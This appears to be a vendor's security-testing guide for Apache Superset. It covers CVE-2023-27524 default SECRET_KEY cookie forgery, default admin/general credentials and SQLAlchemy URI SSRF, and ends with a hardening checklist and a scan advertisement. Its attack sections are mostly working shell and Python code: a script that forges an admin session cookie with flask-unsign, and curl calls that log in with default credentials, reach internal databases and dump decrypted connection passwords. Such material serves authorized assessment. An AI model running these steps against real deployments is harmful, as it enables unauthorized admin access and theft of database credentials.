Apache Superset Security Testing: Default Credentials, CVE-2023-27524 SECRET_KEY, SQLAlchemy SSRF, and Jinja2 SSTI

Apache Superset is a popular open-source business intelligence and data visualization platform, widely deployed by data teams for dashboards and SQL-based analytics. Its security profile includes several critical issues: CVE-2023-27524 (CVSS 9.8) revealed that many Apache Superset deployments used the insecure default SECRET_KEY value thisISaSECRET_1234 — since Flask session cookies are signed with this key, any attacker who knows the secret can forge an admin session cookie and gain full Superset access without credentials; default credentials admin/general remain unchanged in many Docker-based deployments; Superset's database connection feature allows users with the "Database access" permission to specify arbitrary SQLAlchemy connection URIs including internal PostgreSQL, MySQL, and SQLite servers enabling SSRF and extraction of internal database credentials; Jinja2 templating in SQL queries, when enabled, allows template injection leading to information disclosure; and the Superset API exposes all configured database connection strings including embedded passwords to admin users. This guide covers systematic Apache Superset security assessment.

Table of Contents

  1. Superset Discovery and Version
  2. CVE-2023-27524: Default SECRET_KEY Session Forgery
  3. Default Credential Testing
  4. SQLAlchemy URI SSRF and Internal Database Access
  5. Apache Superset Security Hardening

CVE-2023-27524: Default SECRET_KEY Session Forgery

CVE-2023-27524 (CVSS 9.8) is the most critical Apache Superset vulnerability: many deployments retained the default SECRET_KEY = 'thisISaSECRET_1234' value from the Superset Docker example configuration. Flask uses this key to cryptographically sign session cookies — knowing the key allows forging a valid admin session cookie without any credentials.

# CVE-2023-27524: Test if Superset is using the default SECRET_KEY
# The following common default keys have been observed in deployments:
DEFAULT_KEYS=(
  "thisISaSECRET_1234"
  "CHANGE_ME_TO_A_COMPLEX_RANDOM_SECRET"
  "your-secret-key-here"
  "superset"
)

# Install flask-unsign for session cookie forgery testing (authorized testing only)
# pip install flask-unsign

# Get an existing session cookie from the login page (unauthenticated cookie)
SESSION_COOKIE=$(curl -s -c /tmp/superset_cookies \
  "https://superset.example.com/login/" 2>/dev/null | grep -oE 'session=[^;]+' | head -1)

echo "Captured session: ${SESSION_COOKIE}"

# For each default key, attempt to decode and re-sign the session cookie
for KEY in "${DEFAULT_KEYS[@]}"; do
  # Use flask-unsign to check if this key signed the cookie
  RESULT=$(python3 -c "
import flask_unsign
cookie = '${SESSION_COOKIE#session=}'
try:
    if flask_unsign.verify(cookie, '${KEY}', legacy=True):
        decoded = flask_unsign.decode(cookie)
        print(f'KEY MATCH: ${KEY}')
        print(f'Decoded session: {decoded}')
    elif flask_unsign.verify(cookie, '${KEY}'):
        decoded = flask_unsign.decode(cookie)
        print(f'KEY MATCH (modern): ${KEY}')
        print(f'Decoded: {decoded}')
except Exception as e:
    pass
" 2>/dev/null)
  if [ -n "$RESULT" ]; then
    echo "$RESULT"
    break
  fi
done

# If default key confirmed, forge an admin session cookie
# (AUTHORIZED TESTING ONLY)
python3 -c "
import flask_unsign
# Forge admin session
admin_session = {'_fresh': True, '_permanent': True, 'user_id': 1}
forged = flask_unsign.sign(admin_session, secret='thisISaSECRET_1234')
print(f'Forged admin cookie: {forged}')
print('Use with: -H \"Cookie: session={forged}\"')
" 2>/dev/null

SQLAlchemy URI SSRF and Internal Database Access

# Superset allows creating database connections via the UI or API
# Users with database creation permissions can specify arbitrary SQLAlchemy URIs
# This enables connecting to internal databases not directly accessible

# With admin or database-creation permission, create a database connection to an internal host
# This demonstrates SSRF via SQLAlchemy's database driver network stack

# Get authentication token first
TOKEN=$(curl -s -X POST "https://superset.example.com/api/v1/security/login" \
  -H "Content-Type: application/json" \
  -d '{"username":"admin","password":"general","provider":"db","refresh":true}' 2>/dev/null | \
  python3 -c "import json,sys; d=json.load(sys.stdin); print(d.get('access_token',''))" 2>/dev/null)

# Create a database connection pointing to an internal service (SSRF)
# Internal PostgreSQL at 10.0.0.5 — bypasses network restrictions
curl -s -X POST "https://superset.example.com/api/v1/database/" \
  -H "Authorization: Bearer ${TOKEN}" \
  -H "Content-Type: application/json" \
  -d '{
    "database_name": "internal-db",
    "sqlalchemy_uri": "postgresql://admin:password@10.0.0.5:5432/internal_db",
    "expose_in_sqllab": true
  }' 2>/dev/null | python3 -c "
import json,sys
d = json.load(sys.stdin)
print(f'Database created: {d.get(\"id\",\"failed\")}')
" 2>/dev/null

# List all database connections (credentials accessible to admin)
curl -s "https://superset.example.com/api/v1/database/" \
  -H "Authorization: Bearer ${TOKEN}" 2>/dev/null | \
  python3 -c "
import json,sys
d = json.load(sys.stdin)
for db in d.get('result', []):
    uri = db.get('sqlalchemy_uri_decrypted', db.get('sqlalchemy_uri',''))
    print(f\"{db['database_name']}: {uri}\")
" 2>/dev/null

Apache Superset Security Hardening

Apache Superset Security Hardening Checklist:
Security TestMethodRisk
CVE-2023-27524 default SECRET_KEY session cookie forgeryflask-unsign against known default keys — forge admin session without credentials on pre-2.1.0 deploymentsCritical
Default admin/general credentialsPOST /api/v1/security/login with admin/general — common in Docker deployments from official examplesCritical
SQLAlchemy URI SSRF to internal databasesCreate database connection with internal host URI — connects to PostgreSQL/MySQL/SQLite on internal networkHigh
Database credentials exposed via APIGET /api/v1/database/ with admin token — returns sqlalchemy_uri_decrypted with embedded passwordsHigh
Jinja2 template injection in SQL queriesExecute query with Jinja2 payload when ENABLE_TEMPLATE_PROCESSING is true — information disclosureHigh
All dashboard data accessible to any authenticated userAccess dashboards with viewer credentials — verify row-level security is implemented for sensitive dataMedium

Automate Apache Superset Security Testing

Ironimo tests Apache Superset deployments for CVE-2023-27524 default SECRET_KEY enabling session cookie forgery and instant admin access, default admin/general credentials from Docker example configurations, SQLAlchemy database URI injection allowing connections to internal network databases unreachable from the attacker's position, database connection strings including passwords exposed via the admin API, Jinja2 SQL template injection when template processing is enabled, and Superset instances accessible from the internet without VPN or network boundary protection.

Start free scan